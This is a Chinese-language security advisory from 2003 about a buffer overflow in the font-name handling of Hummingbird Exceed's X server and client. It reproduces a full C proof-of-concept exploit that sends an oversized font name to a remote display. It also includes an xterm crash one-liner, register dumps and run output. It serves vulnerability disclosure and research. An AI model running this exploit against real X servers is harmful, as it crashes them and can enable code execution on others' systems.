安全研究
安全漏洞
Exceed字体名处理器缓冲区溢出漏洞
发布日期：2003-07-15
更新日期：2003-07-22
受影响系统：
Hummingbird Exceed 8.0描述：
Hummingbird Exceed 7.1.1
Hummingbird Exceed 7.1
Hummingbird Exceed 6.1
Hummingbird Exceed 6.0.2
Hummingbird Exceed 6.0.1
Hummingbird Exceed 5.0
BUGTRAQ ID: 8194
Hummingbird Exceed是一款性能较高的PC X服务器。
Exceed server和客户端不正确处理过长字体名，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可以以进程权限在系统上执行任意指令。
通过发送包含超长字体名的恶意XLoadQueryFont()请求，或通过从服务器传递恶意字体名给客户端，可触发缓冲区溢出，精心构建字体名数据可以以进程权限在系统上执行任意指令。
<*来源：c0ntex （c0ntex@hushmail.com）
链接：http://packetstormsecurity.nl/0307-exploits/exceed.c
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
* Crushing birds for fun and knowledge
* ------------------------------------
*
* HQOTD: "How secure do you want it"
* http://mimage.hummingbird.com/alt_content/binary/pdf/collateral/ds/exceed_ds_en.pdf
*
* I'll tell you: Much more please sirs.
*
* **************************************
*
* Exceed has some bugs caused by the way it handles fonts, in a local and remote
* context.
*
* Debug output created by master techniques:
* EAX = C0000000
* EBX = 00000000
* ECX = 40000000
* EDX = 00000501
* ESI = 41414141 <-------- // Here
* EDI = 0012E138
* EIP = 41414141 <-------- // Here
* ESP = 0012E0C8
* EBP = 0012E0F0
*
* A way to check that a server is not trying to exploit your PC could be:
* $ xlsfonts -display exceed_server:0.0
* ...
* --------0------
* --arial-bold-r---0-0-120-120-p-0-iso8859-1
* --arial-medium-r---0-0-120-120-p-0-iso8859-1
* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... <-- Here
* ...
*
* A way to hide evil font would be through the use of font aliasing.
* -the first ever font spoofing technique, lol.
*
* [-] We can crash a local Exceed server * 2
* [-] We can crash a remote Exceed server * many lol
* [-] We can crash Exceed client that uses evil X Font Server * 1
* [-] We can write over EIP address * many lol
*
* Hummingbird informed 3 weeks ago, still no reply.
*
* **************************************
* rwxr-xr-x xterm exploit!
*
* $ export DISPLAY=192.168.1.31:0.0 //Valid host
* $ xterm -font `perl -e 'print "69r"x10101'`
* Segmentation fault (core dumped) //lol
* $ md5sum `which xterm`
* 09ebe34028b779eb73d4a31e987ee9ed /usr/X11R6/bin/xterm
*
* Root user can now have super 0day xterm sploit that s/he can use to own local user
* accounts!
*
* ** This would give root the ability to become any user on the system **
*
* More serious than su, it does not leave a log entry behind, real anon hacker style.
*
* **************************************
*
* This is just a little hobby that saves me going to clubs at the weekend, drinking
* beer and mumbling to some strange lethargic woman with alchohol driven motives.
*
* Computer security is #1 contraceptive, coming soon to an NHS near you.
*
* **************************************
*
* DNSCon is coming up - www.dnscon.org
*
* **************************************
*
* [c0ntex@darkside exceed]$ gcc -o exceed exceed.c -lX11 -L /usr/X11R6/lib
* [c0ntex@darkside exceed]$ ./exceed exploited:0.0
*
* [-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com
* [-] We are using DISPLAY variable: exploited:0.0
* [-] Hang on to your feathers, sending some buffer
*
* ..
* XIO: fatal IO error 104 (Connection reset by peer) on X server "exploited:0.0"
* after 11 requests (9 known processed) with 0 events remaining.
*
* **************************************
*
* Rants:
* Knowledge is freely given and should be freely shared, however making money from
* other peoples research in any way is simply unethical. =|
*
* SF: Clever move making your vulnerability archive public `again`, this will draw
* back many versed in dot slash t3qN33kZ to infect themselves with trojan opcodes.
* *LOL*
*
* Regards to all, keep it real.
*
* **************************************
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <X11/Xlib.h>
#define BIGBIRD 6001
#define DIRTY_VAL 69
#define MAX_BORDER_LEN 3
#define WIN_TIMER 5
#define WIN_TITLE "simple PoC window - lets shoot birds"
typedef char Birds;
int main(int argc, char *argv[])
{
Birds nests[BIGBIRD];
Birds egg[2] = { 'A', '\0' };
Birds *feathersN;
Birds *HABITAT = "DISPLAY";
unsigned short eggs, chicks;
unsigned short winW, winH, feathersW, feathersH;
unsigned long locX, locY;
unsigned long winBDR;
Display* feathers;
Window wingspan;
XFontStruct* birdcull;
fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com\n");
if(argc < 2) {
fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY pointer!\n");
fprintf(stderr, "[-] Usage: %s <hostname/IP:feathers>\n\n", argv[0]);
return EXIT_FAILURE;
}
if(setenv(HABITAT, argv[1], 1) <0) {
perror("setenv"); return EXIT_FAILURE;
}
fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]);
for(eggs = 0; eggs < BIGBIRD -1; eggs++)
if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) {
perror("strncat"); return EXIT_FAILURE;
}
if((feathers = XOpenDisplay(feathersN)) == NULL) {
perror("XOpenDisplay"); return EXIT_FAILURE;
}
chicks = DefaultScreen(feathers);
winW = ((feathersW = DisplayWidth(feathers, chicks)) /3);
winH = ((feathersH = DisplayHeight(feathers, chicks)) /3);
locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN;
wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks),
locX, locY, winW, winH, winBDR,
BlackPixel(feathers, chicks),
WhitePixel(feathers, chicks));
if(XCreateSimpleWindow == NULL) {
perror("XCreateSimpleWindow"); return EXIT_FAILURE;
}
XStoreName(feathers, wingspan, WIN_TITLE);
if(XStoreName == NULL) {
perror("XOpenDisplay"); return EXIT_FAILURE;
}
XMapWindow(feathers, wingspan);
if(XMapWindow == NULL) {
perror("XOpenDisplay"); return EXIT_FAILURE;
}
fprintf(stderr, "[-] Hang on to your feathers, sending some buffer \n\n");
if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) {
perror("XLoadQueryFont"); return EXIT_FAILURE;
}
XCloseDisplay(feathers);
return EXIT_SUCCESS;
}
建议：
厂商补丁：
Hummingbird
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.hummingbird.com/
浏览次数：2965
严重程度：0（网友投票）
绿盟科技给您安全的保障